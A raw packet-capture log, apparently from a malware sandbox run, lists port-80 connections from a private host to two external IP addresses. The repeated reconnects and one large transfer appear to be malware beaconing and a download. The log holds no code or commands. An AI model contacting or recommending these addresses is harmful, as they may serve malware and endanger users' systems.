Oct 24, 2024 08:46:15.618052006 CEST	49184	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:15.785092115 CEST	49185	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:15.790457964 CEST	80	49185	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:15.790554047 CEST	49185	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:15.792145967 CEST	49185	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:15.797450066 CEST	80	49185	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:15.797609091 CEST	49185	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:15.802928925 CEST	80	49185	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:17.050389051 CEST	80	49185	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:17.050753117 CEST	80	49185	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:17.050811052 CEST	49185	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:17.050862074 CEST	80	49185	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:17.050909042 CEST	49185	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:17.051134109 CEST	49185	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:17.056399107 CEST	80	49185	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:17.242059946 CEST	49186	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:17.247359991 CEST	80	49186	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:17.247447014 CEST	49186	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:17.249245882 CEST	49186	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:17.254492044 CEST	80	49186	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:17.256131887 CEST	49186	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:17.261456966 CEST	80	49186	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:17.641846895 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:17.647281885 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:17.647397041 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:17.647430897 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:17.653223038 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.216243029 CEST	80	49186	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:18.216510057 CEST	49186	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:18.222022057 CEST	80	49186	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:18.222150087 CEST	49186	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:18.328573942 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.328592062 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.328632116 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.328672886 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.328727961 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.328746080 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.328773975 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.328773975 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.328779936 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.328794956 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.328811884 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.328814983 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.328814983 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.328831911 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.328845978 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.328882933 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.334239006 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.334445953 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.334465027 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.334536076 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.363197088 CEST	49188	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:18.368515015 CEST	80	49188	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:18.368590117 CEST	49188	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:18.370204926 CEST	49188	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:18.375475883 CEST	80	49188	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:18.375545979 CEST	49188	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:18.381475925 CEST	80	49188	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:18.446161032 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.446177006 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.446183920 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.446234941 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.446240902 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.446248055 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.446329117 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.446844101 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.446850061 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.446862936 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.447031021 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.447299004 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.447324038 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.447333097 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.447346926 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.447413921 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.447895050 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.447905064 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.447925091 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.447930098 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.447941065 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.447985888 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.448769093 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.448811054 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.448822021 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.448853016 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.448858023 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.448883057 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.449292898 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.451586962 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.493238926 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.493258953 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.493268967 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.493274927 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.493361950 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.563945055 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.563968897 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.563976049 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.563987017 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.563994884 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.563999891 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.564013004 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.564035892 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.564085007 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.564254999 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.564263105 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.564276934 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.564338923 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.564352036 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.564358950 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.564364910 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.564429998 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.565042973 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.565051079 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.565063953 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.565069914 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.565121889 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.565480947 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.565488100 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.565501928 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.565558910 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.565562963 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.565570116 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.565577984 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.565587044 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.565639019 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.566358089 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.566375017 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.566385984 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.566452980 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.566454887 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.566462994 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.566474915 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.566481113 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.566544056 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.567290068 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.567296028 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.567328930 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.567358971 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.567365885 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.567368031 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.567373037 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.567384005 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.567414045 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.568175077 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.568269014 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.568275928 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.568283081 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.568289042 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.568288088 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.568296909 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.568329096 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.568373919 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.610821009 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.610842943 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.610904932 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.610924959 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.610955000 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.610960007 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.610979080 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.610997915 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.611042023 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.956713915 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.956742048 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.956748962 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.956758976 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.956764936 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.956770897 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.956775904 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.956787109 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.956793070 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.956798077 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.956828117 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.956840038 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.956845045 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.956850052 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.956856012 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.956868887 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.956875086 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.956887960 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.956892967 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.956899881 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.956902981 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.956902981 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.956902981 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.956902981 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.956943989 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.956943989 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.957019091 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.957029104 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.957036018 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.957041025 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.957046986 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.957057953 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.957063913 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.957066059 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.957071066 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.957087994 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.957150936 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.957156897 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.957173109 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.957179070 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.957180023 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.957185984 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.957200050 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.957200050 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.957202911 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.957209110 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.957217932 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.957221985 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.957238913 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.957256079 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.957279921 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.958081007 CEST	80	49187	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:18.958158016 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:18.960241079 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:19.292706013 CEST	49187	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:19.333694935 CEST	80	49188	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:19.333801031 CEST	49188	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:19.339622021 CEST	80	49188	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:19.339689016 CEST	49188	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:19.635242939 CEST	49189	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:19.640860081 CEST	80	49189	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:19.640944004 CEST	49189	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:19.642819881 CEST	49189	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:19.648256063 CEST	80	49189	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:19.648513079 CEST	49189	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:19.654145002 CEST	80	49189	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:20.604633093 CEST	80	49189	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:20.604826927 CEST	49189	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:20.611001015 CEST	80	49189	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:20.611078024 CEST	49189	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:20.749563932 CEST	49190	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:20.755058050 CEST	80	49190	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:20.755132914 CEST	49190	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:20.756772995 CEST	49190	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:20.762140989 CEST	80	49190	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:20.762213945 CEST	49190	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:20.767633915 CEST	80	49190	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:21.709981918 CEST	80	49190	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:21.710093021 CEST	49190	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:21.715929031 CEST	80	49190	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:21.716057062 CEST	49190	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:21.837140083 CEST	49191	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:21.842540026 CEST	80	49191	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:21.842683077 CEST	49191	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:21.844139099 CEST	49191	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:21.849493980 CEST	80	49191	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:21.849543095 CEST	49191	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:21.854988098 CEST	80	49191	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:22.808839083 CEST	80	49191	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:22.808952093 CEST	49191	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:22.814634085 CEST	80	49191	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:22.814713001 CEST	49191	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:22.954539061 CEST	49192	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:23.271284103 CEST	80	49192	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:23.271372080 CEST	49192	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:23.272967100 CEST	49192	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:23.281045914 CEST	80	49192	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:23.281188965 CEST	49192	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:23.286948919 CEST	80	49192	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:24.246784925 CEST	80	49192	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:24.246937990 CEST	49192	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:24.252638102 CEST	80	49192	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:24.252707958 CEST	49192	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:24.378324032 CEST	49193	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:24.383975029 CEST	80	49193	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:24.384042025 CEST	49193	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:24.385406017 CEST	49193	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:24.390691996 CEST	80	49193	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:24.390799999 CEST	49193	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:24.396090031 CEST	80	49193	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:25.331404924 CEST	80	49193	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:25.331525087 CEST	49193	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:25.337739944 CEST	80	49193	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:25.337817907 CEST	49193	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:25.470558882 CEST	49194	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:25.476123095 CEST	80	49194	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:25.476212978 CEST	49194	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:25.477813959 CEST	49194	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:25.483180046 CEST	80	49194	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:25.483247042 CEST	49194	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:25.488552094 CEST	80	49194	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:26.551178932 CEST	80	49194	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:26.551290989 CEST	49194	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:26.557171106 CEST	80	49194	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:26.557243109 CEST	49194	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:26.713258982 CEST	49195	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:26.718628883 CEST	80	49195	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:26.718691111 CEST	49195	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:26.720284939 CEST	49195	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:26.725595951 CEST	80	49195	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:26.725660086 CEST	49195	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:26.731004953 CEST	80	49195	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:28.251620054 CEST	80	49195	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:28.251729965 CEST	49195	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:28.252264023 CEST	80	49195	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:28.252274990 CEST	80	49195	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:28.252310038 CEST	49195	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:28.252321959 CEST	49195	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:28.253204107 CEST	80	49195	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:28.253251076 CEST	49195	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:28.260670900 CEST	80	49195	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:28.386558056 CEST	49196	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:28.392024040 CEST	80	49196	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:28.392112970 CEST	49196	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:28.393672943 CEST	49196	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:28.398998022 CEST	80	49196	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:28.399060965 CEST	49196	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:28.404486895 CEST	80	49196	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:29.337935925 CEST	80	49196	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:29.338162899 CEST	49196	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:29.343878984 CEST	80	49196	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:29.343964100 CEST	49196	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:29.484961033 CEST	49197	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:29.674521923 CEST	80	49196	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:29.674580097 CEST	49196	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:29.676013947 CEST	80	49197	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:29.676084042 CEST	49197	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:29.677758932 CEST	49197	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:29.679869890 CEST	80	49196	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:29.683183908 CEST	80	49197	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:29.683232069 CEST	49197	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:29.688621998 CEST	80	49197	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:30.655868053 CEST	80	49197	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:30.655966043 CEST	49197	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:30.661678076 CEST	80	49197	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:30.661737919 CEST	49197	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:30.865423918 CEST	49198	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:30.890917063 CEST	80	49198	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:30.891098976 CEST	49198	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:30.892649889 CEST	49198	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:30.898042917 CEST	80	49198	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:30.898099899 CEST	49198	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:30.903542995 CEST	80	49198	94.156.177.220	192.168.2.22
